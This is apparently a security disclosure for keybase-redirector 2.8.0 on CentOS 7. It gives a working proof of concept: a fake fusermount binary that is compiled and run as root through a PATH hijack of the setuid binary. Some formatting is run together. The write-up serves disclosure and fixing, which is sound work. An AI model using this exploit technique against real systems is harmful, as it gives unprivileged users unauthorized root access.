keybase-redirector is a setuid root binary. keybase-redirector calls the fusermount binary using a relative path and the application trusts the value of $PATH. This allows a local, unprivileged user to trick the application to executing a custom fusermount binary as root.
## Environment
CentOS Linux release 7.4.1708 (Core)3.10.0-693.17.1.el7.x86_64
RPM info
```
Name: keybase
Version :2.8.0.20181017144746.3efc4cbf3c
Release :1
Architecture: x86_64
Install Date: Mon 22 Oct 2018 05:30:36 PM EDT
Group : Unspecified
Size: 273302678
License : BSD
Signature : RSA/SHA256, Wed 17 Oct 201810:55:21 AM EDT, Key ID 47484e50656d16c7
Source RPM: keybase-2.8.0.20181017144746.3efc4cbf3c-1.src.rpm
Build Date: Wed 17 Oct 201810:54:47 AM EDT
Build Host: 6ae61e160e87
Relocations :(not relocatable)
Summary : Keybase command line client
Description :
Keybase command line client
```
An unprivileged user named user1 is used for this PoC.
## Steps to reproduce1) Display privileges of user 1 - execute the idcommand```[user1@localhost woot]$ iduid=1000(user1)gid=1000(user1)groups=1000(user1)context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
```2) Create a custom fusermount application. This PoC will create /w00t as root. Arbitrary commands can be executed.
```cat>fusermount.c<<EOF
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(int argc, char **argv)
{
setreuid(0,0);
system("/usr/bin/touch /w00t");
return(0);
}
EOF``3) Compile fusermount.c
```
gcc -Wall fusermount.c -o fusermount
```4) Verify that /w00t does not exist.
```[user1@localhost woot]$ ls-ld /w00t
ls: cannot access /w00t: No such file or directory
```5) Prepend the PATH environment variable with a dot(for current working directory) and execute keybase-redirector whichin turn will execute the malicious fusermount binary as root.
```envPATH=.:$PATH /usr/bin/keybase-redirector /keybase
```6) Enter the control-c sequence to kill the application.
```[user1@localhost woot]$ envPATH=.:$PATH /usr/bin/keybase-redirector /keybase
^C
```7) Verify that /w00t exists
```[user1@localhost woot]$ ls-ld /w00t
-rw-rw-r--. 1 root user1 0 Oct 2216:34 /w00t
[user1@localhost woot]$
```
## Impact
Unauthorized root access is possible which impacts the confidentially, integrity, and availability of the system.
